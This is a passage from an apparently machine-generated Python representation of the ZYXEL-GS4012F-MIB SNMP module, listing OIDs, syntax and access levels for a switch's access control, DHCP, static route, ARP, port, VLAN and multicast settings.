"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.1.1",
"status" : "current",
"linkage" : [
"accessCtlService",
],
"description" :
"""An entry in accessCtlTable.""",
}, # row
"accessCtlService" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.1.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"telnet" : {
"nodetype" : "namednumber",
"number" : "1"
},
"ssh" : {
"nodetype" : "namednumber",
"number" : "2"
},
"ftp" : {
"nodetype" : "namednumber",
"number" : "3"
},
"http" : {
"nodetype" : "namednumber",
"number" : "4"
},
"https" : {
"nodetype" : "namednumber",
"number" : "5"
},
"icmp" : {
"nodetype" : "namednumber",
"number" : "6"
},
"snmp" : {
"nodetype" : "namednumber",
"number" : "7"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"accessCtlEnable" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"accessCtlServicePort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"accessCtlTimeout" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"securedClientTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.2",
"status" : "current",
"description" :
"""""",
}, # table
"securedClientEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.2.1",
"status" : "current",
"linkage" : [
"securedClientIndex",
],
"description" :
"""An entry in securedClientTable.""",
}, # row
"securedClientIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"securedClientEnable" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"securedClientStartIp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"securedClientEndIp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"securedClientService" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.2.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Bits",
"telnet" : {
"nodetype" : "namednumber",
"number" : "0"
},
"ftp" : {
"nodetype" : "namednumber",
"number" : "1"
},
"http" : {
"nodetype" : "namednumber",
"number" : "2"
},
"icmp" : {
"nodetype" : "namednumber",
"number" : "3"
},
"snmp" : {
"nodetype" : "namednumber",
"number" : "4"
},
"ssh" : {
"nodetype" : "namednumber",
"number" : "5"
},
"https" : {
"nodetype" : "namednumber",
"number" : "6"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"queuingMethodSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.19",
}, # node
"portQueuingMethodTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.19.1",
"status" : "current",
"description" :
"""""",
}, # table
"portQueuingMethodEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.19.1.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
"portQueuingMethodQueue",
],
"description" :
"""An entry in portQueuingMethodTable.""",
}, # row
"portQueuingMethodQueue" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.19.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""0...7""",
}, # column
"portQueuingMethodWeight" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.19.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""0...15""",
}, # column
"dhcpSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20",
}, # node
"globalDhcpRelay" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1",
}, # node
"globalDhcpRelayEnable" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"globalDhcpRelayOption82Enable" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"globalDhcpRelayInfoEnable" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"globalDhcpRelayInfoData" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"maxNumberOfGlobalDhcpRelayRemoteServer" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"globalDhcpRelayRemoteServerTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1.6",
"status" : "current",
"description" :
"""""",
}, # table
"globalDhcpRelayRemoteServerEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1.6.1",
"create" : "true",
"status" : "current",
"linkage" : [
"globalDhcpRelayRemoteServerIp",
],
"description" :
"""An entry in globalDhcpRelayRemoteServerTable.""",
}, # row
"globalDhcpRelayRemoteServerIp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1.6.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"globalDhcpRelayRemoteServerRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.1.6.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpServer" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2",
}, # node
"maxNumberOfDhcpServers" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The maximum number of DHCP server entries that can be created.
A value of 0 for this object implies that there exists settings for
global DHCP relay.""",
}, # scalar
"dhcpServerTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2",
"status" : "current",
"description" :
"""""",
}, # table
"dhcpServerEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2.1",
"create" : "true",
"status" : "current",
"linkage" : [
"dhcpServerVid",
],
"description" :
"""An entry in dhcpServerTable.""",
}, # row
"dhcpServerVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpServerStartAddr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpServerPoolSize" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpServerMask" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpServerGateway" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpServerPrimaryDNS" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpServerSecondaryDNS" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpServerRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.2.2.1.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpRelay" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3",
}, # node
"dhcpRelayInfoData" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"maxNumberOfDhcpRelay" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The maximum number of DHCP relay entries that can be created.
A value of 0 for this object implies that there exists settings for
global DHCP relay.""",
}, # scalar
"maxNumberOfDhcpRelayRemoteServer" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"dhcpRelayRemoteServerTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.4",
"status" : "current",
"description" :
"""""",
}, # table
"dhcpRelayRemoteServerEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.4.1",
"create" : "true",
"status" : "current",
"linkage" : [
"dhcpRelayVid",
"dhcpRelayRemoteServerIp",
],
"description" :
"""An entry in dhcpRelayRemoteServerTable.""",
}, # row
"dhcpRelayVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.4.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpRelayRemoteServerIp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.4.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"dhcpRelayRemoteServerRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.4.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpRelayTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.5",
"status" : "current",
"description" :
"""""",
}, # table
"dhcpRelayEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.5.1",
"status" : "current",
"linkage" : [
"dhcpRelayVid",
],
"description" :
"""An entry in dhcpRelayTable.""",
}, # row
"dhcpRelayOption82Enable" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.5.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"dhcpRelayInfoEnable" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.20.3.5.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"staticRouteSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21",
}, # node
"maxNumberOfStaticRoutes" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"staticRouteTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21.2",
"status" : "current",
"description" :
"""""",
}, # table
"staticRouteEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21.2.1",
"create" : "true",
"status" : "current",
"linkage" : [
"staticRouteIp",
"staticRouteMask",
],
"description" :
"""An entry in staticRouteTable.""",
}, # row
"staticRouteName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"staticRouteIp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"staticRouteMask" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"staticRouteGateway" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"staticRouteMetric" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21.2.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"staticRouteRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.21.2.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"arpInfo" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.22",
}, # node
"arpTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.22.1",
"status" : "current",
"description" :
"""""",
}, # table
"arpEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.22.1.1",
"status" : "current",
"linkage" : [
"arpIpAddr",
"arpMacVid",
],
"description" :
"""An entry in arpTable.""",
}, # row
"arpIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.22.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpIpAddr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.22.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpMacAddr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.22.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "MacAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpMacVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.22.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"arpType" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.22.1.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"static" : {
"nodetype" : "namednumber",
"number" : "1"
},
"dynamic" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readonly",
"description" :
"""1-static, 2-dynamic""",
}, # column
"portOpModeSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.23",
}, # node
"portOpModePortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.23.1",
"status" : "current",
"description" :
"""""",
}, # table
"portOpModePortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.23.1.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in portOpModePortTable.""",
}, # row
"portOpModePortFlowCntl" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.23.1.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"off" : {
"nodetype" : "namednumber",
"number" : "0"
},
"on" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"portOpModePortName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.23.1.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"ranges" : [
{
"min" : "0",
"max" : "32"
},
],
"range" : {
"min" : "0",
"max" : "32"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"portOpModePortLinkUpType" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.23.1.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"down" : {
"nodetype" : "namednumber",
"number" : "0"
},
"copper" : {
"nodetype" : "namednumber",
"number" : "1"
},
"fiber" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"portOpModePortIntrusionLock" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.23.1.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"portOpModePortLBTestStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.23.1.1.7",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"none" : {
"nodetype" : "namednumber",
"number" : "0"
},
"underTesting" : {
"nodetype" : "namednumber",
"number" : "1"
},
"success" : {
"nodetype" : "namednumber",
"number" : "2"
},
"fail" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readonly",
"description" :
"""This entry display latest loopback test status of port while performing loopback test.""",
}, # column
"portOpModePortCounterReset" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.23.1.1.8",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"enable" : {
"nodetype" : "namednumber",
"number" : "1"
},
"disable" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""This entry resets port counter.""",
}, # column
"portBasedVlanSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.24",
}, # node
"portBasedVlanPortListTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.24.1",
"status" : "current",
"description" :
"""""",
}, # table
"portBasedVlanPortListEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.24.1.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in portBasedVlanPortListTable.""",
}, # row
"portBasedVlanPortListMembers" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.24.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"Q-BRIDGE-MIB", "name" : "PortList"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"multicastPortSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.25",
}, # node
"multicastPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.25.1",
"status" : "current",
"description" :
"""""",
}, # table
"multicastPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.25.1.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in multicastPortTable.""",
}, # row
"multicastPortImmediateLeave" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.25.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"multicastPortMaxGroupLimited" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.25.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"multicastPortMaxOfGroup" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.25.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""0..255""",
}, # column
"multicastPortIgmpFilteringProfile" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.25.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"multicastPortQuerierMode" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.25.1.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"auto" : {
"nodetype" : "namednumber",
"number" : "1"
},
"fixed" : {
"nodetype" : "namednumber",
"number" : "2"
},
"edge" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readwrite",
"description" :
"""Specify query mode for each port""",
}, # column
"multicastStatus" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26",
}, # node
"multicastStatusTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.1",
"status" : "current",
"description" :
"""""",
}, # table
"multicastStatusEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.26.1.1",
"status" : "current",
"linkage" : [
"multicastStatusVlanID",
"multicastStatusPort",
"multicastStatusGroup",
],
"description" :
